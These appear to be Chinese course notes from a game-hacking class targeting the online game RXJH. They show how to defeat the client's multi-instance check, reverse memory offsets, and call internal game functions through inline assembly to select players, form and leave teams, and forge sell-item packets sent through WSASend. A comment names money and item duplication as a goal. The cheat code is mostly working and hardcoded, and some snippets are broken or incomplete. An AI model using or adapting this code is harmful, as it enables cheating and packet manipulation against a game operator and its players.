HWND h=::FindWindow(NULL,"FindWindow防多開"); 

if ((h>0))

{

  MessageBox("游戲已經運行");  

  ExitProcess(0);

}

SetWindowText("FindWindow防多開");

 

方法2:

    CreateMutex(NULL,false,"防游戲多開");

if (GetLastError()==ERROR_ALREADY_EXISTS)

MessageBox("防多開退出");

ExitProcess(0);

}

 

方法3:

#pragma data_seg("Shared")

int isExist =0;   /*已經初始化變量*/

#pragma data_seg() 

#pragma comment(linker, "/Section:Shared,RWS")

 

……

 

if (isExist>0) 

char ct[33];

itoa(isExist,ct,10);

strcat(ct,"防多開退出");

MessageBox(ct);

isExist=isExist+1;

ExitProcess(0);

}

isExist=isExist+1;//可以知道運行次數

return TRUE;

 

最后經過測試發現RXJH是通過查找窗口來實現防止多開的,那太簡單了,改掉就OK了.

 

void CChgGameCaptionDlg::OnButton1() 

{

HWND h=::FindWindow(NULL,"YB_OnlineClient");

::SetWindowText(h,"熱血江湖");

}

 

 

隨筆:哇,游戲多開太棒了我喜歡!VC班的多開講的比DELPHI班強多了.

參考 244選怪

 

        3.5.1、 選定指定角色

            a、多開BUG修證

            b、分析玩家屬性

            c、遍歷玩家列表

            d、選定指定玩家角色原理

            e、int SelPlayer(pchar 玩家名);

 

1BUG修證

2分析玩家屬性

+8

  31玩家,2E怪物/NPC,33物品 分類編號 

+0E14

  玩家名稱

+距離

+坐標

 14DC;//x,h,y

 16DC;//x,h,y

 1F78://x,h,y

  // X坐標相同  距離 abs(y1-y2)

  // Y坐標相同  距離 abs(x1-x2)

  // x,y都不相同 距離 c=sqrt(a2+b2)

+等級 (等級相差10級不能組隊)

dd   [5B307C8]+1530 //當前選中對象ID FFF

dd   [[[5B307C8]+1530]*4+5B2A888]  //顯示指定ID的對象基址

 

 

int SelPleyer

 

 

////////////////////////////////////////////////////////////

 

上節課可以實現多開了,但是還不能夠真正玩游戲,因為多開后游戲不能登陸了.此時我們解決的辦法也有,就是將原游戲復制到一個新的目錄再打開就可以了.

想要組隊首先是要找到對方,所以在游戲中要先找到當前選中,然后看一下分類,玩家分類是+31,再找玩家名稱+0E14,再找距離,用勾股定理來查找玩家的距離.

打開VC,編寫代碼:先寫出遍歷周圍玩家的代碼,找出后又添加玩家過濾的代碼.

 

int  SelPleyer(PCHAR playName)//選定指定玩家

{

 //清空列表內容

//m_monlist_ctl.ResetContent();

int* Goodsobj;//指向物品對象基址

int* obj_8;//分類

char* obj_E14; //物品名字

 

 for (int i=0x0;i<0x1Fff;i++)

 {   Goodsobj=(int*)(CurListBase+i*4);//取得對象基址指針

          if (*Goodsobj==0){return 0;} //遍歷到對象數組 尾部

  obj_8=(int*)(*Goodsobj+0x8);//指針指向分類編號

  if (*obj_8==0x31/*判斷是否為玩家類*/)

  {//如果是玩家則執行下列操

          obj_E14=(char*)(*Goodsobj+0xE14);//指針指向物品名字

   

   //在列表控件里添加一行

 if (strcmp(playName,obj_E14)==0) 

 {  

//選中 玩家

    _asm

{

 mov edi,Goodsobj

 mov edi,[edi]

 //mov edi,*Goodsobj

 mov eax,[edi]

 push 0

 push 1

 push 0x44c

 mov ecx,edi

 mov eax,[eax+4]

 call eax  

}

 

 3.5.2、計算玩家間的距離(已知坐標)

            a、坐標系內的點1與點2

            b、2點間的距離計算公式

            c、准備知識

            d、planRange(int p1,int p2)函數構建

 

 

基址更新如下:

00582955    A1 88B3B105     MOV EAX,DWORD PTR DS:[5B1B388]

0058295A    85C0            TEST EAX,EAX

0058295C    0F84 1E170000   JE Client.00584080

00582962    8B80 30150000   MOV EAX,DWORD PTR DS:[EAX+1530]

00582968    3D FFFF0000     CMP EAX,0FFFF

0058296D    0F84 0D170000   JE Client.00584080

00582973    8B1485 4854B105 MOV EDX,DWORD PTR DS:[EAX*4+5B15448]

0058297A    85D2            TEST EDX,EDX

 

dd [5B1B388]+1530

dd [[[5B1B388]+1530]*4+5B15448] //選中玩家

[5B1B388]+14DC//

[[[5B1B388]+1530]*4+5B15448]+16AC //xhy

#include <math.h>

 

// p1 [CurRoleBase]+16dc

//p2 [[[CurRoleBase]+1530]*4+CurListBase]+16DC //xhy

1Y坐標相同 abs(p1.x-p2.x)<3

2X坐標相同 abs(p1.y-p2.y)<3

3求距離 p1.x<>p2.x p1.y=p2.y

 勾股定理 a2+b2=c2

float planRange(int p1,int p2) //p1當前角色坐標基址 ,p2,其它對象坐標基址

{ float p1x,p1y,p2x,p2y;

  float rx,ry,rc;

  _asm

  { 

    //讀p1點坐標 x=[base+0],h=[base+4],y=[base+8]

   mov eax,p1

   mov ebx,[eax]

   mov p1x,ebx //p1.x

   mov ebx,[eax+8]

   mov p1y,ebx 

//讀p2點坐標 x=[base+0],h=[base+4],y=[base+8]

   mov eax,p2

   mov ebx,[eax]

   mov p2x,ebx //p1.x

   mov ebx,[eax+8]

   mov p2y,ebx

 

   }

if (p1y==y2y) 

 {

  return fabs(p1x-p2x);

 }

if (p1x==y2x) 

 {

  return fabs(p1y-p2y);

 }

rx=(float)fabs(p1x-p2x);

ry=(float)fabs(p1y-p2y);

rc=(float)sqrt(rx*rx+ry*ry);

return rc;

 

}

 

 

 

 sqrt()開平方

Y坐標相同

p1(33,-33)

                        p2(33,33) abs(x1-x2)=abs(x2-x1) -33-33=-66=66=33-(-33)

X坐標相同

 abs(y1-y2)=abs(y2-y1)

 

 a2=abs(y1-y2)*abs(y1-y2)

                              b2=abs(x1-x2)*abs(x1-x2)

sqrt(開方)

c=sqrt(a2+b2);

 

 

 

//////////////////////////////////////////////////////////////////////

 

今天要計算玩家之間的距離,因為如果距離太遠則無法組隊,為了講解坐標算法老師還給畫了圖,其實勾股定理也很簡單.找到玩家對象的距離偏移,接下來編寫代碼.代碼中先讀出X和Y的坐標值,然后加以判斷,先看是否為X或Y相同,如果是就用直接算法,如果坐標都不同則用勾股定理來計算. 

……

寫了半天代碼,坐標還是沒有正確讀出來,原來是游戲更新了,更新一下,已經能夠正確顯示出坐標值了,下節課繼續.

 

本節課老師的教案寫的超詳細哦.

3.5.3 組隊功能

a 更新組隊動作CALL

b 邀請指定玩家加入隊伍功能實現

c 封裝到int Invite(char *playName)函數

 

組隊CALL 005E6A30

 

/////////////////////////////////////////////////////////////////////////////////

 

通過前面的努力,這節課終於要正式開始組隊功能的實現了.先找到組隊的動作CALL,我們之前在257課找過,因為游戲又更新了,所以通過特征碼再次查找到組隊動作CALL.

然后在VC里編寫代碼,測試了一下,好像是選中目標出現錯誤,我們更改了一下,可以組隊了.

 

int Invite(char* playName) //邀請某人加入隊伍

{SelPleyer(playName);

_asm

{

 mov eax,0x005E6A30

 call eax //邀請加入組隊

}

return 1;

}

 

 

void CPAGE1::OnBUTTONInvite() 

{

// TODO: Add your control notification handler code here

Invite("木一劍");

}

 

 

附:普通CALL特征碼

0045F820  /$  55            PUSH EBP                                 ;  普攻CALL

0045F821  |.  8BEC          MOV EBP,ESP

0045F823  |.  83EC 1C       SUB ESP,1C

0045F826  |.  A1 70044701   MOV EAX,DWORD PTR DS:[1470470]

0045F82B  |.  53            PUSH EBX

0045F82C  |.  56            PUSH ESI

0045F82D  |.  57            PUSH EDI

0045F82E  |.  85C0          TEST EAX,EAX

0045F830  |.  8BF1          MOV ESI,ECX

0045F832  |.  0F85 D2010000 JNZ Client.0045FA0A

0045F838  |.  8B86 30150000 MOV EAX,DWORD PTR DS:[ESI+1530]          ;  特征碼開始

0045F83E  |.  8B8E F0140000 MOV ECX,DWORD PTR DS:[ESI+14F0]

0045F844  |.  8D9E F0140000 LEA EBX,DWORD PTR DS:[ESI+14F0]

0045F84A  |.  3BC8          CMP ECX,EAX                              ;  特征碼截止

0045F84C  |.  75 0D         JNZ SHORT Client.0045F85B

0045F84E  |.  83BE F4140000>CMP DWORD PTR DS:[ESI+14F4],2

0045F855  |.  0F84 AF010000 JE Client.0045FA0A

0045F85B  |>  8B8E E00D0000 MOV ECX,DWORD PTR DS:[ESI+DE0]

0045F861  |.  83F9 03       CMP ECX,3

 

MOV EAX,DWORD PTR DS:[ESI+1530] 

MOV ECX,DWORD PTR DS:[ESI+14F0]

LEA EBX,DWORD PTR DS:[ESI+14F0]

CMP ECX,EAX

 

 3.5.4、 離隊功能  

           a、分析離隊動作

           b、逆向分析離隊代碼

           c、初識封包

           d、Rep stos [edi]

           e、內存中的數據與 byte,int的對應關系

           f、封裝離隊函數void exitTeam();

 

dd 46E4508 //是否組隊 標志 

 

005E81B9  |.  A0 08456E04   MOV AL,BYTE PTR DS:[46E4508]             ;  Case 7B98A2 of switch 005E8110

005E81BE  |.  84C0          TEST AL,AL                               ;  dd 46E4508 =1

005E81C0  |.  0F84 80010000 JE Client.005E8346

005E81C6  |.  57            PUSH EDI                                 ;  007B98A2

005E81C7  |.  B9 000A0000   MOV ECX,0A00                             ;  2560*4大小

005E81CC  |.  33C0          XOR EAX,EAX

005E81CE  |.  8DBD FED7FFFF LEA EDI,DWORD PTR SS:[EBP-2802]

005E81D4  |.  66:C785 F8D7F>MOV WORD PTR SS:[EBP-2808],0

005E81DD  |.  6A 06         PUSH 6                                   ;  6   封包數據緩沖區 大小

005E81DF  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]              ;  EAX 填充數據,ECX 計數

005E81E1  |.  8B0D A8DF4401 MOV ECX,DWORD PTR DS:[144DFA8]

005E81E7  |.  66:8985 FCD7F>MOV WORD PTR SS:[EBP-2804],AX            ;  0x0000

005E81EE  |.  8D85 F8D7FFFF LEA EAX,DWORD PTR SS:[EBP-2808]          ;  eax

005E81F4  |.  66:C785 FAD7F>MOV WORD PTR SS:[EBP-2806],36            ;  0x0036

005E81FD  |.  50            PUSH EAX                                 ;  00 00 36 00 00 00

005E81FE  |.  E8 FD4EE5FF   CALL Client.0043D100                     ;  退出組隊

F1-F8

 

dc [ECX+8*4+3D8]+4C

//技能,動作 在服務上的唯一標識

 

byte sdata[8]={00,00,0x36,00,00,00,0,0};

//int  sdata[2]={0x360000,0};

_asm

{

push 0x007B98A2

push 6

lea eax,sdata

push eax

mov eax,0x0043D100

MOV ECX,0x144DFA8

mov ecx,[ecx]

call eax

 }

rep stos [edi] // eax ,ecx  循環 ECX次 從EDI開始EAX填充指定地址

 

 

////////////////////////////////////////////////////////////////////

 

組隊已經完成了,再來離隊吧,繼續OD游戲,找一下分離的CALL,重點講解了REP STOS匯編指令,是循環寫入指令,匯編代碼在教案中.

進這個離隊CALL里看一下,里面有WSASend函數,是發送封包的,而上面那個2560個大小的數據可以是封包里的各類數據,再看一下dd eax 和db eax的值,通過仔細的分析,發現封我只是用到6個字節的數據.然后編寫代碼(在教案中).測試一下,成功的調用了退隊功能.既然已經好用了,那么就封裝在一個函數中方便以后調用.

但是第一個參數EDI我們沒有找到它的來源,這樣我們就找找看看,返回上級,就發現了其實這個EDI是調用了技能攔,並找到了動作的名稱和標識.那么如果退隊的動作不放在技能攔上是否能退隊呢?一樣退出了.

 

 3.6.1-1、售物功能封包分析

   1、封包回溯,找未加密的封包

   2、確家關鍵CALL

   3、分析封包(物品數量,類型,位置)

   4、功能測試SellGoods函數構建

 

 專業抓包工具:sniffer,WPE :通過HOOK WSASend,send,WSASendto,sendto :雖然專業,但顯得不靈活

 OD分析封包:靈活

//刷錢,刷物,,

//向服務發送數據

 

WSASend

0043D100 >/$  55            PUSH EBP                                 ;  WSASend發包CALL

0043D101  |.  8BEC          MOV EBP,ESP

0043D103  |.  B8 10240000   MOV EAX,2410

0043D108  |.  E8 F3083900   CALL Client.007CDA00

0043D10D  |.  8B41 10       MOV EAX,DWORD PTR DS:[ECX+10]

0043D110  |.  56            PUSH ESI

0043D111  |.  83F8 FF       CMP EAX,-1

0043D114  |.  57            PUSH EDI

0043D115  |.  894D F8       MOV DWORD PTR SS:[EBP-8],ECX

 

 

//出售1個 狼牙箭 

0012A4DC  00 00 92 00 70 00 02 00 00 00 00 00 00 00 95 CA  

0012A4EC  9A 3B 01 00 00 00 00 00 00 00 90 B0 0E 00 00 00  //01 為數量

0012A4FC  00 00 E2 F1 0F 7B 9F 2F D5 17 95 CA 9A 3B 01 00  //物品類

0012A50C  00 00 00 00 00 00 01 04 00 00 01 00 00 00 00 00  //背包下標

0012A51C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A52C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A53C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

//出售3個 狼牙箭 

0012A4DC  00 00 92 00 70 00 02 00 00 00 00 00 00 00 95 CA  

0012A4EC  9A 3B 03 00 00 00 00 00 00 00 93 B0 0E 00 00 00  //03 為數量

0012A4FC  00 00 E2 F1 0F 7B 9F 2F D5 17 95 CA 9A 3B 03 00  //物品類

0012A50C  00 00 00 00 00 00 01 04 00 00 01 00 00 00 00 00  //04背包下標

0012A51C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A52C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A53C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

 

//金創葯小 1個 0x70

0012A4DC  00 00 92 00 70 00 02 00 00 00 00 00 00 00 65 CA  //物品ID號 服上器上唯一的

0012A4EC  9A 3B 01 00 00 00 00 00 00 00 9C B0 0E 00 00 00  //計數

0012A4FC  00 00 69 53 4A AE AB AB D8 17 65 CA 9A 3B 01 00  

0012A50C  00 00 00 00 00 00 01 03 00 00 01 00 00 00 00 00  //背包里的下標

0012A51C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A52C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A53C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

 

//打開NPC 購物售物對話框

 

//CALL 0043D100

 

byte sdata[0x80]=

{

00, 00,0x92, 00, 0x70, 00, 02, 00, 00, 00, 00, 00, 00, 00 ,0x65,0xCA,  

0x9A ,0x3B ,0x01 ,0x00 ,00 ,00 ,00 ,00 ,00 ,00 ,0x90 ,0xB0,0x0E,00,00,00, //數量1 

0x00,00,0x69,0x53,0x4A,0xAE,0xAB,0xAB,0xD8,0x17,0x65 ,0xCA,0x9A,0x3B,0x01,00, //數量1

00 ,00 ,00 ,00 ,00 ,00 ,01 ,04 ,00 ,00 ,01 ,00 ,00 ,00 ,00, 00, 

00 ,00 ,00 ,00 ,00 ,00 ,01 ,0 ,00 ,00 ,0 ,00 ,00 ,00 ,00, 00 ,

00 ,00 ,00 ,00 ,00 ,00 ,01 ,0 ,00 ,00 ,0 ,00 ,00 ,00 ,00, 00 ,

00 ,00 ,00 ,00 ,00 ,00 ,01 ,0 ,00 ,00 ,0 ,00 ,00 ,00 ,00, 00 

 

};

 

void CPAGE1::OnBUTTONSellGoods() 

{

// TODO: Add your control notification handler code here

 

_asm

{

push 0x76

lea edx,sdata;

push edx

MOV ECX,0x1480A68

mov ecx,[ecx]

mov eax,0x0043D100

call eax

}

 

}

 

 

/////////////////////////////////////////////////////////

又是一節大長課53分鍾

從本節課開始要正式講解封包的技術了,其實前面組隊的時候也對封包進行了分析,VC班確實比DELPHI班講的好,至少VC班有封包而D班卻沒有.

封包是有四個函數(WSASend,send,WSASendto,sendto),先看一下游戲是通過哪個封包函數來進行發送的,是bp WSASend函數,注意大小寫哦.今天要弄的是賣東西也就是售物.下斷后快速賣物品,馬上被斷下來,我們反回游戲,看一下在游戲中是哪一段代碼在調用封包,老師已經將這段代碼復制在教案中了.要仔細找看哪個CALL是專門用來賣物品的.老師在關鍵CALL入進行了詳細的講解.

 

 

出售一下物品斷下后將EDX的地址用DB顯示出來,再出售3個物品再顯示一下EDX比較一下,猜一下哪個是物品數量,哪個是背包格子數,再換成金創葯試試.再猜測一下物品的ID.那么我們來測試一下這個CALL和我們的數據是否正確,我們寫下代碼(教案中).調用了一下,沒反應也沒有出錯,再回來看一下哪句的錯誤.是ECX的問題,再寫入ECX之后賣物品就可以了.我們也發現想購買物品必須是打開NPC才行.

再來測試一下賣出金創葯,測試一下沒反映,還有幾個代碼沒有寫全,再測試一下確實成功了.

 

 3.6.2 售物封包參數來源分析

          1、數量分析

          2、出售物品類型分析

          3、出售物品在背包里的格數

          4、編程測試 

0012A4DC  00 00 92 00 70 00 02 00 00 00 00 00 00 00 65 CA  

0012A4EC  9A 3B 03 00 00 00 00 00 00 00 6F 84 0E 00 00 00   

0012A4FC  00 00 69 53 4A AE AB AB D8 17 65 CA 9A 3B 03 00  

0012A50C  00 00 00 00 00 00 01 04 00 (00) 01 00 00 00 00 00  //1EE,0A8 

ECX=[[[4715294]+3*4+3D8]]

// 65 CA 9A 3B

[data+0x0E]=[ECX+0x4C]

//6F 84 0E 

[data+0x1A]=[0x4713410]

//69 53 4A AE 

[data+0x22]=[ECX+0x50]

//AB AB D8 17 來源

[data+0x26]=[ECX+0x54]

//65 CA 9A 3B

[data+0x2A]=[ECX+4C]

//03 售出物品數量

[data+0x12]=[data+0x2E]=數量

//04 物品所在背包里邊格數

 

 ///////////////////

//(00)0C 

[data+0x39]=[ECX+4A8]

//

ECX+4A0 //物品總數

////////////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////////////

 byte data[0x70]={  00 00 92 00 70 00 02 00 00 00 00 00 00 00 00 00  

   00 00 03 00 00 00 00 00 00 00 6F 84 0E 00 00 00   

   00 00 69 53 4A AE AB AB D8 17 65 CA 9A 3B 03 00  

   00 00 00 00 00 00 01 04 00 (00) 01 00 00 00 00 00  };//1EE,0A8 

 

 

0057F04D  |> \8B91 B4040000 MOV EDX,DWORD PTR DS:[ECX+4B4]                   ;  ECX就應該是 背包物品對象

0057F053  |.  8993 D4150000 MOV DWORD PTR DS:[EBX+15D4],EDX

0057F059  |.  8B81 B8040000 MOV EAX,DWORD PTR DS:[ECX+4B8]

0057F05F  |.  8983 D8150000 MOV DWORD PTR DS:[EBX+15D8],EAX

0057F065  |.  C783 40160000>MOV DWORD PTR DS:[EBX+1640],2                    ;  開始

0057F06F  |.  8B0D C0304A01 MOV ECX,DWORD PTR DS:[14A30C0]

0057F075  |.  8B91 04020000 MOV EDX,DWORD PTR DS:[ECX+204]                   ;  拖動物品基址

0057F07B  |.  8B82 A0040000 MOV EAX,DWORD PTR DS:[EDX+4A0]

0057F081  |.  8983 4C160000 MOV DWORD PTR DS:[EBX+164C],EAX                  ;  +4A0

0057F087  |.  8B8A A4040000 MOV ECX,DWORD PTR DS:[EDX+4A4]

0057F08D  |.  898B 50160000 MOV DWORD PTR DS:[EBX+1650],ECX                  ;  +4A4

0057F093  |.  8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]

0057F099  |.  8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]                   ;  拖動物品基址

0057F09F  |.  8B48 4C       MOV ECX,DWORD PTR DS:[EAX+4C]

0057F0A2  |.  898B 48160000 MOV DWORD PTR DS:[EBX+1648],ECX                  ;  +4C

0057F0A8  |.  8B15 10347104 MOV EDX,DWORD PTR DS:[4713410]                   ;  選中物品類型ID

0057F0AE  |.  8993 54160000 MOV DWORD PTR DS:[EBX+1654],EDX                  ;  寫入 物品類型ID

0057F0B4  |.  A1 14347104   MOV EAX,DWORD PTR DS:[4713414]

0057F0B9  |.  8983 58160000 MOV DWORD PTR DS:[EBX+1658],EAX                  ;  00

0057F0BF  |.  8B0D C0304A01 MOV ECX,DWORD PTR DS:[14A30C0]

0057F0C5  |.  8B91 04020000 MOV EDX,DWORD PTR DS:[ECX+204]                   ;  拖動物品基址

0057F0CB  |.  8A82 A8040000 MOV AL,BYTE PTR DS:[EDX+4A8]

0057F0D1  |.  8883 73160000 MOV BYTE PTR DS:[EBX+1673],AL                    ;  =Byte:+4A8

0057F0D7  |.  8B0D C0304A01 MOV ECX,DWORD PTR DS:[14A30C0]

0057F0DD  |.  8B91 04020000 MOV EDX,DWORD PTR DS:[ECX+204]                   ;  拖動物品基址

0057F0E3  |.  8B82 A0040000 MOV EAX,DWORD PTR DS:[EDX+4A0]

0057F0E9  |.  8983 68160000 MOV DWORD PTR DS:[EBX+1668],EAX                  ;  +4A0

0057F0EF  |.  8B8A A4040000 MOV ECX,DWORD PTR DS:[EDX+4A4]

0057F0F5  |.  898B 6C160000 MOV DWORD PTR DS:[EBX+166C],ECX                  ;  +4A4

0057F0FB  |.  8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]

0057F101  |.  8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]                   ;  拖動物品基址

0057F107  |.  8A88 9C040000 MOV CL,BYTE PTR DS:[EAX+49C]

0057F10D  |.  888B 72160000 MOV BYTE PTR DS:[EBX+1672],CL                    ;  BYTE +49C

0057F113  |.  8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]

0057F119  |.  8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]                   ;  拖動物品基址

0057F11F  |.  8B48 4C       MOV ECX,DWORD PTR DS:[EAX+4C]

0057F122  |.  898B 64160000 MOV DWORD PTR DS:[EBX+1664],ECX                  ;  +4C

0057F128  |.  8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]

0057F12E  |.  8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]

0057F134  |.  8A88 F0010000 MOV CL,BYTE PTR DS:[EAX+1F0]

0057F13A  |.  888B 71160000 MOV BYTE PTR DS:[EBX+1671],CL                    ;  BYTE+1F0

0057F140  |.  8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]

0057F146  |.  8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]                   ;  拖動物品基址

0057F14C  |.  8A88 EE010000 MOV CL,BYTE PTR DS:[EAX+1EE]

0057F152  |.  888B 70160000 MOV BYTE PTR DS:[EBX+1670],CL                    ;  byte+1EE

0057F158  |.  8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]

0057F15E  |.  8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]

0057F164  |.  8A88 A0000000 MOV CL,BYTE PTR DS:[EAX+A0]

0057F16A  |.  888B 75160000 MOV BYTE PTR DS:[EBX+1675],CL                    ;  byte +0A0

0057F170  |.  8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]                   ;  基址

0057F176  |.  8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]                   ;  dd  [14a30c0]+204  選中物品對象(背包里,或者商店里)

0057F17C  |.  8A88 A8000000 MOV CL,BYTE PTR DS:[EAX+A8]

0057F182  |.  888B 74160000 MOV BYTE PTR DS:[EBX+1674],CL                    ;  byte +0A8

0057F188  |.  8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]                   ;  dd [[14a30c0]+204] 拖動物品

0057F18E  |.  8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]

0057F194  |.  8B48 50       MOV ECX,DWORD PTR DS:[EAX+50]

0057F197  |.  898B 5C160000 MOV DWORD PTR DS:[EBX+165C],ECX                  ;  +50

0057F19D  |.  8B50 54       MOV EDX,DWORD PTR DS:[EAX+54]

0057F1A0  |.  8D83 78160000 LEA EAX,DWORD PTR DS:[EBX+1678]

0057F1A6  |.  8993 60160000 MOV DWORD PTR DS:[EBX+1660],EDX                  ;  +54

0057F1AC  |.  8B0D C0304A01 MOV ECX,DWORD PTR DS:[14A30C0]

0057F1B2  |.  50            PUSH EAX

0057F1B3  |.  8B89 04020000 MOV ECX,DWORD PTR DS:[ECX+204]                   ;  選中物品對象

                                       

/////////////////////////////////////////

 

好長的課了65分鍾!

繼續分析封包.先來分析第一串封包數據:

在封包中要注意常量參數,如果是常量我們就不用管它了,我們發現前面幾個封包的數據我們都不需要去管它.這節課又對REP MOVS匯編語句進行了詳細的講解……

再找一下EBX+1640的基址,它是來源於ECX,而ECX就是背包物品對象,用DB看一下物品對象這里…跟蹤一下發現了我們所需要的數在寄存器當中顯現,並且記錄了偏移是4C.然后將我們分析的重點代碼復制了下來(教案中那一長串匯編代碼)

然后又找到了另一個全局變量的值[4713410].再繼續找封包里數據的來源…是EAX+54

再繼續找,主要是通過跟蹤,看一下寄存器里是否有我們當前所需要的數值,然后記下偏移地址,向上找出基址……就這樣一點一點的找,將所有數據都要找出基址或者猜出目標.

如果中途的數據不好找,那么就先清0這片地址,然后再看何時改變的數值……

終於將參數找的差不多了,我們來編寫代碼來出售包裹物品測試,照着封包的數據仔細的進行代碼填寫.但是代碼還沒有寫完,今天應該休息了~

 

隨筆:我感覺這就是在找基址嘛,只不過不是普通的找參數基址,而是在找封包里數據的基址.這兩節課時間都挺長,看的我都跟不上思路了,不知道老師在找啥東西了,哎~  一定要仔細學習.

 

 3.6.3、編程實現出售背包指定物品

          1、遍歷背包指定物品

          2、出售第一格物品

          3、出售指定物品int SellGoos(char* name)

 

 

///////////////////////////////////////////////////

 

0012A4DC  00 00 92 00 70 00 02 00 00 00 00 00 00 00 65 CA  

0012A4EC  9A 3B 03 00 00 00 00 00 00 00 6F 84 0E 00 00 00   

0012A4FC  00 00 69 53 4A AE AB AB D8 17 65 CA 9A 3B 03 00  

0012A50C  00 00 00 00 00 00 01 04 00 (00) 01 00 00 00 00 00  //1EE,0A8 

 

 

打開VC,添加個售物的按鈕,將之前找到的各個封包的基址等用匯編語句寫在代碼中.

 

除以上的數據之外還有很多數據,但都是固定不變的所以也不需要改變

 

注意要打開NPC才可以賣出測試一下賣物成功了.再換個包裹格子試試,沒反映,找到代碼處,發現包裹格子數還有一個數值需要更改,最終代碼如下:

 

 

void CPAGE1::OnBUTTONSellGoods() 

{

 

_asm

{

mov ecx,0x4715294 

mov ecx,[ecx]

add ecx,3*4 //出售第3格

add ecx,0x3D8

mov ecx,[ecx] //取某一格物品基址

lea ebx,sdata

 mov eax,[ecx+0x4C] //[data+0x0E]=[ECX+0x4C]

 mov [ebx+0x0e],eax

 mov eax,0x4713410 //[data+0x1A]=[0x4713410]

 mov eax,[eax] 

 mov [ebx+0x1a],eax

 mov eax,[ecx+0x50] //[data+0x22]=[ECX+0x50]

 mov [ebx+0x22],eax

 mov eax,[ecx+0x54]// [data+0x26]=[ECX+0x54]

 mov [ebx+0x26],eax

 mov eax,[ecx+0x4c]// [data+0x2A]=[ECX+4C]

 mov [ebx+0x2A],eax

 mov eax,2

 mov [ebx+0x12],eax 

 mov [ebx+0x2E],eax //出售數量

 mov eax,[ecx+0x4A8] //[ebx+0x39]=[ecx+4a8]

 mov [ebx+0x39],eax

 mov eax,3  //要出售背包里物品所在的格數

 mov [ebx+0x37],eax

//調用封包CALL

push 0x76

lea edx,sdata;

push edx

MOV ECX,0x1480A68

mov ecx,[ecx]

mov eax,0x0043D100

call eax

}

}

 

封包的出售物品代碼終於完成了,而購物的封包要比出售代碼少,這個就留在作業中了.

 

 3.6.4、完善售物功能

          1、構建函數int FindIndex(char* name);

             FindIndex//用來查詢指定物品名name在背包中的位置

          2、垃圾物品清單

          3、遍歷出售所有垃圾物品SellGoods   

          4、集成到Gameproc.h

 

int GetGoodsIndex(const char* name)//獲取物品在背包里位置下標 ,如果返回-1 則表示不存在

{

 char * CurGoodName;

 int iaddr;

 for (int i=0;i<=35;i++) // 36格

{

 iaddr=i*4;

 _asm

 {

     mov ecx,GoodsBase;

     mov ecx,[ecx] //mov ecx,[0x45BA62C]

 add ecx,iaddr // ecx,[0x45BA62C]+i*4

 add ecx,0x3d8 // ecx,[0x45BA62C]+i*4+3d8

 mov ecx,[ecx] // ecx,[[0x45BA62C]+i*4+3d8]

 mov iaddr,ecx //物品對象iaddr=[[0x45BA62C]+i*4+3d8]

 } 

 if (iaddr>0)

 _asm

 {

 mov ecx,iaddr // ecx=[[0x45BA62C]+i*4+3d8]

 add ecx,0x58  // ecx =[[0x45BA62C]+i*4+3d8]+58

 mov CurGoodName,ecx //CurGoodName=[[0x45BA62C]+i*4+3d8]+58

    

 }

 if (strcmp(name,CurGoodName)==0) { return i;} //遍歷找到 指定物品后 返回其數組下標

} //end for

return -1;//遍歷背包 未找到指定物品

}//end GetGoodsIndex;

int sellgoods(char * name)

{

// TODO: Add your control notification handler code here

int index=GetGoodsIndex(name);

if (index<0){return -1;} //在背包里不存 名叫name的物品 則退出

int goodbase=index*4;

_asm

{

mov ecx,0x4715294 

mov ecx,[ecx]

add ecx,goodbase //出售第3格

add ecx,0x3D8

mov ecx,[ecx] //取某一格物品基址

lea ebx,sdata

 mov eax,[ecx+0x4C] 

 mov [ebx+0x0e],eax

 mov eax,0x4713410 

 mov eax,[eax] 

 mov [ebx+0x1a],eax

 mov eax,[ecx+0x50]

 mov [ebx+0x22],eax

 mov eax,[ecx+0x54]

 mov [ebx+0x26],eax

 mov eax,[ecx+0x4c]

 mov [ebx+0x2A],eax

 mov eax,1    //出售數量

 mov eax,[ECX+0x4A0]

 mov [ebx+0x12],eax 

 mov [ebx+0x2E],eax //出售數量

 mov eax,[ecx+0x4A8]

 mov [ebx+0x39],eax

 mov eax,index  //要出售背包里物品所在的格數

 mov [ebx+0x37],eax //[esp+???]

 

push 0x76

lea edx,sdata;

push edx

MOV ECX,0x1480A68

mov ecx,[ecx]

mov eax,0x0043D100

call eax

}

 return 1;

}

 

void CPAGE1::OnBUTTONSellGoods() //循環遍歷物品

 

char pname[256]; //CSting pname;

int i;

for (i=0;i<m_monlist_ctl.GetCount();i++)

{ m_monlist_ctl.GetText(i,pname);  // m_monlist_ctl.GetText(i,pname.GetBuffer(22));

 

sellgoods(pname);//("金創葯(小)"); //

 

}

}

 

               

 

////////////////////////////////////////////////////////////////

 

